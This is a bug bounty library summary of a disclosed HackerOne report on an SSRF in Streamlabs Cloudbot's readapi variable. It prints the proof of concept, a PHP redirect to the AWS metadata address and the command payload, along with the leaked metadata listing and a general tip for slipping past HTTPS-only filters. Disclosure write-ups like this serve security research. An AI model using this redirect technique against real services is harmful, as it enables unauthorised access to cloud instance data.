# SSRF allows reading AWS EC2 metadata using "readapi" variable in Streamlabs Cloudbot

Cloudbot's readapi variable fetched arbitrary HTTPS URLs server-side; redirect to HTTP reached AWS EC2 metadata, leaking instance metadata.

- Payout: $200
- Severity: medium
- Program: Logitech
- Found by: nrockhouse
- Disclosed: 2021-02-24
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1108418
- Library page: https://bugbountylibrary.com/r/h1%3A1108418
- Tags: area:cloud domain:cloud impact:internal-access kind:bounty platform:hackerone sev:medium tech:aws technique:chained technique:oob-exfil vuln:ssrf

**Target:** Streamlabs Cloudbot custom command readapi variable
**Root cause:** readapi variable performs server-side HTTPS fetch and follows redirects to HTTP without blocking link-local/metadata addresses.
**Steps:**
1. Host `slpoc.php` returning `header('Location: http://169.254.169.254/latest/meta-data/')`
2. Create Cloudbot command response `A{readapi.https://mydomain/slpoc.php}B`
3. Trigger command in stream chat
4. Backend follows redirect to metadata endpoint and returns listing in chat
**How found:** Noticed readapi variable fetches URLs; probed protocol restriction (HTTPS-only), then tested redirect-following to bypass the HTTPS requirement and reach the HTTP-only metadata service.
**Exploitation:** Attacker controls a redirect endpoint; Cloudbot fetches it over HTTPS, follows redirect to HTTP metadata IP, and echoes response into chat. No IAM role present so limited to metadata listing.
**Insight:** When an SSRF filter enforces HTTPS, test whether the fetcher follows redirects to HTTP — a redirector on your own HTTPS host bypasses the scheme check to reach link-local metadata.

## Proof of concept (copied exactly from the original report)

**PHP redirect to AWS metadata endpoint**

```
<?php header('Location: http://169.254.169.254/latest/meta-data/'); ?>
```

**readapi variable triggering SSRF via redirect**

```
A{readapi.https://mydomain/slpoc.php}B` -> `Aami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname identity-credentials/ instance-action instance-id instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/B
```

